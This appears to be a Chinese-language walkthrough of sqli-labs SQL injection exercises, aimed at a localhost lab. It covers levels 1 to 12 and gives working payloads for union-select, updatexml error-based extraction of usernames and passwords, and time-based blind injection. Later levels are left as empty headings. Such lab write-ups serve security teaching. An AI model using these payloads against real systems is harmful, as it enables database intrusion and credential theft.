第 1 关
服务端代码
攻击思路
1.试探注入点类型。
页面回显正常
2.排除数值型,加入‘
字符型。可能存在注入。
3.进行恒真恒假测试
http://localhost:8009/sqli/Less-1/?id=1' and 1=1%23
http://localhost:8009/sqli/Less-1/?id=1' and 1=2%23
确定单引号闭合。
4.order by确定列数
5.union-select注入,确定回显位置
结果如下
http://localhost:8009/sqli/Less-1/?id=0' union select 1,2,3%23
6.union 注入,暴库
第 2 关
服务端代码
攻击思路
同上,直接确定数值型
http://localhost:8009/sqli/Less-2/?id=0 union select 1,2,3%23
union注入。
第 3 关
服务端代码
攻击思路
1.确定是否为数值型注入
http://localhost:8009/sqli/Less-3/?id=1 and 1=1
http://localhost:8009/sqli/Less-3/?id=1 and 1=2
2.确定是否为字符型注入
http://localhost:8009/sqli/Less-3/?id=1'%23
3.试探 ’)、‘)), ” 、“)、”))
确定 ') 正常。
第 4 关
服务端代码
攻击思路
以上依次尝试。确定
http://localhost:8009/sqli/Less-4/?id=1")%23
第 5 关
服务端代码
发现无回显,有报错----------考虑报错
攻击思路
1.根据报错,确定了 ’
2.尝试报错语句
updatexml(1,concat(0x74,(select concat(0x0a,username,password,0x0a) from users limit 2,1)),0)%23
第 6 关
服务端代码
攻击思路
类似,确定”闭合
第 7 关
服务端代码
攻击思路
写入文件。
确定'))
为闭合点,根据题意写入文件
注意路径为 \
第 8 关
服务端代码
攻击思路
---------------------------------盲注----------------------------------
确定接入点为 ‘。
http://localhost:8009/sqli/Less-8/?id=1' and if(ord(substr( (select username from users limit 0,1),1,1))<115,sleep(3),1)%23
第 9 关
服务端代码
攻击思路
单双引号不改变回显,。。。。。。。。。发现似乎不管怎么输入都会回显。
再次试探,发现 ’ 号闭合。
http://localhost:8009/sqli/Less-9/?id=1' and if(ord(substr( (select id from users limit 0,1),1,1))<115,sleep(3),1)%23
可沿用8的playload进行时间注入。
第 10 关
服务端代码
攻击思路
改成双引号。
第 11 关
服务端代码
攻击思路
考虑注入点,使用1 or 1=1#
,失败,非数值
考虑字符,使用1‘or 1=1#
,成功
第 12 关
服务端代码
攻击思路
确定注入点,试到“)or 1=1#
成功。
第 13 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
第 关
服务端代码
攻击思路
https://xz.aliyun.com/t/5720
https://www.cnblogs.com/peterpan0707007/p/7620048.html